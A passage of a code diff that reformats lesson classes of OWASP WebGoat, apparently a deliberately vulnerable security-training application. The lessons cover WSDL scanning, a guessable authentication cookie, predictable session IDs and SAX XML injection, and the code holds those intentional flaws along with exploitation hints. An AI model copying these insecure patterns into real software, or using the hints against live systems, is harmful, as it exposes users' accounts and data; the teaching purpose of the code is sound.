} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
return null; return null;
} }
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -201,9 +184,10 @@ public class WSDLScanning extends LessonAdapter
tr = new TR(); tr = new TR();
tr.addElement(new TD("Select the fields to return: ")); tr.addElement(new TD("Select the fields to return: "));
tr.addElement(new TD(new Select("field").setMultiple(true).addElement( tr.addElement(new TD(new Select("field").setMultiple(true).addElement(
new Option(firstName).addElement("First Name")).addElement( new Option(firstName)
new Option(lastName).addElement("Last Name")).addElement( .addElement("First Name"))
new Option(loginCount).addElement("Login Count")))); .addElement(new Option(lastName).addElement("Last Name"))
.addElement(new Option(loginCount).addElement("Login Count"))));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
@ -218,8 +202,7 @@ public class WSDLScanning extends LessonAdapter
String[] fields = s.getParser().getParameterValues("field"); String[] fields = s.getParser().getParameterValues("field");
int id = s.getParser().getIntParameter("id"); int id = s.getParser().getIntParameter("id");
Table t = new Table().setCellSpacing(0).setCellPadding(2) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1);
.setBorder(1);
if (s.isColor()) if (s.isColor())
{ {
@ -231,9 +214,8 @@ public class WSDLScanning extends LessonAdapter
for (int i = 0; i < fields.length; i++) for (int i = 0; i < fields.length; i++)
{ {
header.addElement(new TD().addElement(fields[i])); header.addElement(new TD().addElement(fields[i]));
results.addElement(new TD() results.addElement(new TD().addElement((String) accessWGService("WSDLScanning", port, fields[i],
.addElement((String) accessWGService("WSDLScanning", port, "acct_num", new Integer(id))));
fields[i], "acct_num", new Integer(id))));
} }
if (fields.length == 0) if (fields.length == 0)
{ {
@ -242,37 +224,32 @@ public class WSDLScanning extends LessonAdapter
t.addElement(header); t.addElement(header);
t.addElement(results); t.addElement(results);
ec.addElement(new P().addElement(t)); ec.addElement(new P().addElement(t));
} } catch (Exception e)
catch (Exception e)
{ {
} }
try try
{ {
A a = new A("services/WSDLScanning?WSDL", "WebGoat WSDL File"); A a = new A("services/WSDLScanning?WSDL", "WebGoat WSDL File");
ec ec.addElement(new P()
.addElement(new P()
.addElement("View the web services definition language (WSDL) to see the complete API:")); .addElement("View the web services definition language (WSDL) to see the complete API:"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(a); ec.addElement(a);
// getLessonTracker( s ).setCompleted( completed ); // getLessonTracker( s ).setCompleted( completed );
if (completed && !getLessonTracker(s).getCompleted() if (completed && !getLessonTracker(s).getCompleted() && !beenRestartedYet)
&& !beenRestartedYet)
{ {
makeSuccess(s); makeSuccess(s);
beenRestartedYet = true; beenRestartedYet = true;
} }
else if (completed && !getLessonTracker(s).getCompleted() else if (completed && !getLessonTracker(s).getCompleted() && beenRestartedYet)
&& beenRestartedYet)
{ {
completed = false; completed = false;
beenRestartedYet = false; beenRestartedYet = false;
} }
// accessWGService("WSDLScanning", "getCreditCard", "acct_num", new Integer(101)); // accessWGService("WSDLScanning", "getCreditCard", "acct_num", new Integer(101));
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -280,32 +257,26 @@ public class WSDLScanning extends LessonAdapter
return (ec); return (ec);
} }
public String getResults(int id, String field) public String getResults(int id, String field)
{ {
try try
{ {
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext()); Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
PreparedStatement ps = connection PreparedStatement ps = connection.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
ps.setInt(1, id); ps.setInt(1, id);
try try
{ {
ResultSet results = ps.executeQuery(); ResultSet results = ps.executeQuery();
if ((results != null) && (results.next() == true)) if ((results != null) && (results.next() == true)) { return results.getString(field); }
} catch (SQLException sqle)
{ {
return results.getString(field);
} }
} catch (Exception e)
{
} }
catch (SQLException sqle)
{}
}
catch (Exception e)
{}
return null; return null;
} }
public String getCreditCard(int id) public String getCreditCard(int id)
{ {
String result = getResults(id, "cc_number"); String result = getResults(id, "cc_number");
@ -317,40 +288,27 @@ public class WSDLScanning extends LessonAdapter
return null; return null;
} }
public String getFirstName(int id) public String getFirstName(int id)
{ {
String result = getResults(id, "first_name"); String result = getResults(id, "first_name");
if (result != null) if (result != null) { return result; }
{
return result;
}
return null; return null;
} }
public String getLastName(int id) public String getLastName(int id)
{ {
String result = getResults(id, "last_name"); String result = getResults(id, "last_name");
if (result != null) if (result != null) { return result; }
{
return result;
}
return null; return null;
} }
public String getLoginCount(int id) public String getLoginCount(int id)
{ {
String result = getResults(id, "login_count"); String result = getResults(id, "login_count");
if (result != null) if (result != null) { return result; }
{
return result;
}
return null; return null;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO); return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO);

87
main/project/JavaSource/org/owasp/webgoat/lessons/WeakAuthenticationCookie.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
@ -18,32 +19,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -52,8 +52,10 @@ import org.owasp.webgoat.session.*;
*/ */
public class WeakAuthenticationCookie extends LessonAdapter public class WeakAuthenticationCookie extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement( public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/** /**
* Description of the Field * Description of the Field
@ -90,21 +92,16 @@ public class WeakAuthenticationCookie extends LessonAdapter
if (cookie != null) if (cookie != null)
{ {
if (cookie.equals(encode("webgoat12345"))) if (cookie.equals(encode("webgoat12345"))) { return ("webgoat"); }
{
return ("webgoat");
}
if (cookie.equals(encode("aspect12345"))) if (cookie.equals(encode("aspect12345"))) { return ("aspect"); }
{
return ("aspect");
}
if (cookie.equals(encode("alice12345"))) if (cookie.equals(encode("alice12345")))
{ {
makeSuccess(s); makeSuccess(s);
return ("alice"); return ("alice");
} else }
else
{ {
s.setMessage("Invalid cookie"); s.setMessage("Invalid cookie");
s.eatCookies(); s.eatCookies();
@ -135,7 +132,8 @@ public class WeakAuthenticationCookie extends LessonAdapter
if (username.equals("webgoat") && password.equals("webgoat")) if (username.equals("webgoat") && password.equals("webgoat"))
{ {
loginID = encode("webgoat12345"); loginID = encode("webgoat12345");
} else if (username.equals("aspect") && password.equals("aspect")) }
else if (username.equals("aspect") && password.equals("aspect"))
{ {
loginID = encode("aspect12345"); loginID = encode("aspect12345");
} }
@ -147,7 +145,8 @@ public class WeakAuthenticationCookie extends LessonAdapter
s.getResponse().addCookie(newCookie); s.getResponse().addCookie(newCookie);
return (username); return (username);
} else }
else
{ {
s.setMessage("Invalid username and password entered."); s.setMessage("Invalid username and password entered.");
} }
@ -179,19 +178,12 @@ public class WeakAuthenticationCookie extends LessonAdapter
{ {
String user = checkCookie(s); String user = checkCookie(s);
if ((user != null) && (user.length() > 0)) if ((user != null) && (user.length() > 0)) { return (makeUser(s, user, "COOKIE")); }
{
return (makeUser(s, user, "COOKIE"));
}
user = checkParams(s); user = checkParams(s);
if ((user != null) && (user.length() > 0)) if ((user != null) && (user.length() > 0)) { return (makeUser(s, user, "PARAMETERS")); }
{ } catch (Exception e)
return (makeUser(s, user, "PARAMETERS"));
}
}
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -244,10 +236,7 @@ public class WeakAuthenticationCookie extends LessonAdapter
for (int i = 0; i < cookies.length; i++) for (int i = 0; i < cookies.length; i++)
{ {
if (cookies[i].getName().equalsIgnoreCase(AUTHCOOKIE)) if (cookies[i].getName().equalsIgnoreCase(AUTHCOOKIE)) { return (cookies[i].getValue()); }
{
return (cookies[i].getValue());
}
} }
return (null); return (null);
@ -265,9 +254,9 @@ public class WeakAuthenticationCookie extends LessonAdapter
hints.add("Is the AuthCookie value guessable knowing the username and password?"); hints.add("Is the AuthCookie value guessable knowing the username and password?");
hints.add("Add 'AuthCookie=********;' to the Cookie: header using " hints.add("Add 'AuthCookie=********;' to the Cookie: header using "
+ "<A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>."); + "<A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>.");
hints.add("After logging in as webgoat a cookie is added. 65432ubphcfx<br/>" + hints.add("After logging in as webgoat a cookie is added. 65432ubphcfx<br/>"
"After logging in as aspect a cookie is added. 65432udfqtb<br/>" + + "After logging in as aspect a cookie is added. 65432udfqtb<br/>"
"Is there anything similar about the cookies and the login names?"); + "Is there anything similar about the cookies and the login names?");
return hints; return hints;
} }
@ -320,9 +309,9 @@ public class WeakAuthenticationCookie extends LessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement( tr.addElement(new TH()
"Please sign in to your account. See the OWASP admin if you do not have an account.").setColSpan(2) .addElement("Please sign in to your account. See the OWASP admin if you do not have an account.")
.setAlign("left")); .setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();

75
main/project/JavaSource/org/owasp/webgoat/lessons/WeakSessionID.java
View File

@ -1,10 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import javax.servlet.http.Cookie; import javax.servlet.http.Cookie;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -17,37 +16,35 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH; import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -56,7 +53,10 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class WeakSessionID extends LessonAdapter public class WeakSessionID extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/** /**
* Description of the Field * Description of the Field
*/ */
@ -78,7 +78,6 @@ public class WeakSessionID extends LessonAdapter
protected static long lastTime = System.currentTimeMillis(); protected static long lastTime = System.currentTimeMillis();
/** /**
* Gets the credits attribute of the AbstractLesson object * Gets the credits attribute of the AbstractLesson object
* *
@ -89,7 +88,6 @@ public class WeakSessionID extends LessonAdapter
return super.getCustomCredits("By Rogan Dawes of ", ASPECT_LOGO); return super.getCustomCredits("By Rogan Dawes of ", ASPECT_LOGO);
} }
protected String newCookie(WebSession s) protected String newCookie(WebSession s)
{ {
long now = System.currentTimeMillis(); long now = System.currentTimeMillis();
@ -99,24 +97,22 @@ public class WeakSessionID extends LessonAdapter
String target = encode(seq++, lastTime + (now - lastTime) / 2); String target = encode(seq++, lastTime + (now - lastTime) / 2);
sessionList.add(target); sessionList.add(target);
s.setMessage(target); s.setMessage(target);
if (sessionList.size() > 100) if (sessionList.size() > 100) sessionList.remove(0);
sessionList.remove(0);
} }
lastTime = now; lastTime = now;
return encode(seq, now); return encode(seq, now);
} }
private String encode(long seq, long time) private String encode(long seq, long time)
{ {
return new String(Long.toString(seq) + "-" + Long.toString(time)); return new String(Long.toString(seq) + "-" + Long.toString(time));
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -132,8 +128,7 @@ public class WeakSessionID extends LessonAdapter
{ {
return makeLogin(s); return makeLogin(s);
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -142,7 +137,6 @@ public class WeakSessionID extends LessonAdapter
return (null); return (null);
} }
/** /**
* Gets the category attribute of the WeakAuthenticationCookie object * Gets the category attribute of the WeakAuthenticationCookie object
* *
@ -153,7 +147,6 @@ public class WeakSessionID extends LessonAdapter
return Category.SESSION_MANAGEMENT; return Category.SESSION_MANAGEMENT;
} }
/** /**
* Gets the hints attribute of the CookieScreen object * Gets the hints attribute of the CookieScreen object
* *
@ -172,13 +165,11 @@ public class WeakSessionID extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(90); private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CookieScreen object * Gets the title attribute of the CookieScreen object
* *
@ -189,11 +180,11 @@ public class WeakSessionID extends LessonAdapter
return ("Hijack a Session"); return ("Hijack a Session");
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeLogin(WebSession s) protected Element makeLogin(WebSession s)
@ -210,8 +201,7 @@ public class WeakSessionID extends LessonAdapter
} }
ec.addElement(new H1().addElement("Sign In ")); ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -224,15 +214,15 @@ public class WeakSessionID extends LessonAdapter
try try
{ {
username = s.getParser().getStringParameter(USERNAME); username = s.getParser().getStringParameter(USERNAME);
} catch (ParameterNotFoundException pnfe)
{
} }
catch (ParameterNotFoundException pnfe)
{}
try try
{ {
password = s.getParser().getStringParameter(PASSWORD); password = s.getParser().getStringParameter(PASSWORD);
} catch (ParameterNotFoundException pnfe)
{
} }
catch (ParameterNotFoundException pnfe)
{}
if (username != null || password != null) if (username != null || password != null)
{ {
@ -240,8 +230,7 @@ public class WeakSessionID extends LessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Please sign in to your account.") tr.addElement(new TH().addElement("Please sign in to your account.").setColSpan(2).setAlign("left"));
.setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();

76
main/project/JavaSource/org/owasp/webgoat/lessons/WelcomeScreen.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import org.apache.ecs.Element; import org.apache.ecs.Element;
@ -11,32 +12,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -49,68 +49,58 @@ public class WelcomeScreen extends Screen
/** /**
* Constructor for the WelcomeScreen object * Constructor for the WelcomeScreen object
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
*/ */
public WelcomeScreen(WebSession s) public WelcomeScreen(WebSession s)
{ {
setup(s); setup(s);
} }
/** /**
* Constructor for the WelcomeScreen object * Constructor for the WelcomeScreen object
*/ */
public WelcomeScreen() public WelcomeScreen()
{} {
}
public void setup(WebSession s) public void setup(WebSession s)
{ {
// call createContent first so messages will go somewhere // call createContent first so messages will go somewhere
Form form = new Form("attack", Form.POST).setName("form") Form form = new Form("attack", Form.POST).setName("form").setEncType("");
.setEncType("");
form.addElement(wrapForm(s)); form.addElement(wrapForm(s));
TD lowerright = new TD().setHeight("100%").setVAlign("top").setAlign( TD lowerright = new TD().setHeight("100%").setVAlign("top").setAlign("left").addElement(form);
"left").addElement(form);
TR row = new TR().addElement(lowerright); TR row = new TR().addElement(lowerright);
Table layout = new Table().setBgColor(HtmlColor.WHITE) Table layout = new Table().setBgColor(HtmlColor.WHITE).setCellSpacing(0).setCellPadding(0).setBorder(0);
.setCellSpacing(0).setCellPadding(0).setBorder(0);
layout.addElement(row); layout.addElement(row);
setContent(layout); setContent(layout);
} }
protected Element wrapForm(WebSession s) protected Element wrapForm(WebSession s)
{ {
if (s == null) if (s == null) { return new StringElement("Invalid Session"); }
{
return new StringElement("Invalid Session");
}
Table container = new Table().setWidth("100%").setCellSpacing(10) Table container = new Table().setWidth("100%").setCellSpacing(10).setCellPadding(0).setBorder(0);
.setCellPadding(0).setBorder(0);
// CreateContent can generate error messages so you MUST call it before makeMessages() // CreateContent can generate error messages so you MUST call it before makeMessages()
Element content = createContent(s); Element content = createContent(s);
container.addElement(new TR().addElement(new TD().setColSpan(2) container.addElement(new TR().addElement(new TD().setColSpan(2).setVAlign("TOP").addElement(makeMessages(s))));
.setVAlign("TOP").addElement(makeMessages(s)))); container.addElement(new TR().addElement(new TD().setColSpan(2).addElement(content)));
container.addElement(new TR().addElement(new TD().setColSpan(2)
.addElement(content)));
container.addElement(new TR()); container.addElement(new TR());
return (container); return (container);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -122,13 +112,11 @@ public class WelcomeScreen extends Screen
return (ec); return (ec);
} }
public Element getCredits() public Element getCredits()
{ {
return new ElementContainer(); return new ElementContainer();
} }
/** /**
* Gets the instructions attribute of the WelcomeScreen object * Gets the instructions attribute of the WelcomeScreen object
* *
@ -141,7 +129,6 @@ public class WelcomeScreen extends Screen
return (instructions); return (instructions);
} }
/** /**
* Gets the title attribute of the WelcomeScreen object * Gets the title attribute of the WelcomeScreen object
* *
@ -152,8 +139,9 @@ public class WelcomeScreen extends Screen
return ("Welcome to the Penetration Testing Course"); return ("Welcome to the Penetration Testing Course");
} }
/*
/* (non-Javadoc) * (non-Javadoc)
*
* @see session.Screen#getRole() * @see session.Screen#getRole()
*/ */
public String getRole() public String getRole()

114
main/project/JavaSource/org/owasp/webgoat/lessons/WsSAXInjection.java
View File

@ -1,16 +1,14 @@
/* /*
* Created on Jun 1, 2005 * Created on Jun 1, 2005 TODO To change the template for this generated file go to Window -
* * Preferences - Java - Code Style - Code Templates
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/ */
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.IOException; import java.io.IOException;
import java.io.StringReader; import java.io.StringReader;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -18,7 +16,6 @@ import org.apache.ecs.html.B;
import org.apache.ecs.html.Input; import org.apache.ecs.html.Input;
import org.apache.ecs.html.P; import org.apache.ecs.html.P;
import org.apache.ecs.html.PRE; import org.apache.ecs.html.PRE;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
@ -29,39 +26,38 @@ import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler; import org.xml.sax.helpers.DefaultHandler;
import org.xml.sax.helpers.XMLReaderFactory; import org.xml.sax.helpers.XMLReaderFactory;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author rdawes * @author rdawes
* *
* TODO To change the template for this generated type comment go to Window - * TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Preferences - Java - Code Style - Code Templates * Code Style - Code Templates
*/ */
public class WsSAXInjection extends LessonAdapter public class WsSAXInjection extends LessonAdapter
{ {
@ -70,59 +66,48 @@ public class WsSAXInjection extends LessonAdapter
private String password; private String password;
private static String template1 = "<?xml version='1.0' encoding='UTF-8'?>\n" private static String template1 = "<?xml version='1.0' encoding='UTF-8'?>\n" + "<wsns0:Envelope\n"
+ "<wsns0:Envelope\n"
+ " xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'\n" + " xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'\n"
+ " xmlns:xsd='http://www.w3.org/2001/XMLSchema'\n" + " xmlns:xsd='http://www.w3.org/2001/XMLSchema'\n"
+ " xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'\n" + " xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'\n"
+ " xmlns:wsns1='http://lessons.webgoat.owasp.org'>\n" + " xmlns:wsns1='http://lessons.webgoat.owasp.org'>\n" + " <wsns0:Body>\n"
+ " <wsns0:Body>\n" + " <wsns1:changePassword>\n" + " <id xsi:type='xsd:int'>101</id>\n"
+ " <wsns1:changePassword>\n"
+ " <id xsi:type='xsd:int'>101</id>\n"
+ " <password xsi:type='xsd:string'>"; + " <password xsi:type='xsd:string'>";
private static String template2 = "</password>\n" private static String template2 = "</password>\n" + " </wsns1:changePassword>\n" + " </wsns0:Body>\n"
+ " </wsns1:changePassword>\n" + " </wsns0:Body>\n"
+ "</wsns0:Envelope>"; + "</wsns0:Envelope>";
static boolean completed; static boolean completed;
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.WEB_SERVICES; return Category.WEB_SERVICES;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("The backend parses the XML received using a SAX parser."); hints.add("The backend parses the XML received using a SAX parser.");
hints.add("SAX parsers often don't care if an element is repeated."); hints.add("SAX parsers often don't care if an element is repeated.");
hints hints.add("If there are repeated elements, the last one is the one that is effective");
.add("If there are repeated elements, the last one is the one that is effective"); hints.add("Try injecting matching 'close' tags, and creating your own XML elements");
hints
.add("Try injecting matching 'close' tags, and creating your own XML elements");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(150); private final static Integer DEFAULT_RANKING = new Integer(150);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
public String getTitle() public String getTitle()
{ {
return "Web Service SAX Injection"; return "Web Service SAX Injection";
} }
protected Element makeInputLine(WebSession s) protected Element makeInputLine(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -138,7 +123,6 @@ public class WsSAXInjection extends LessonAdapter
return ec; return ec;
} }
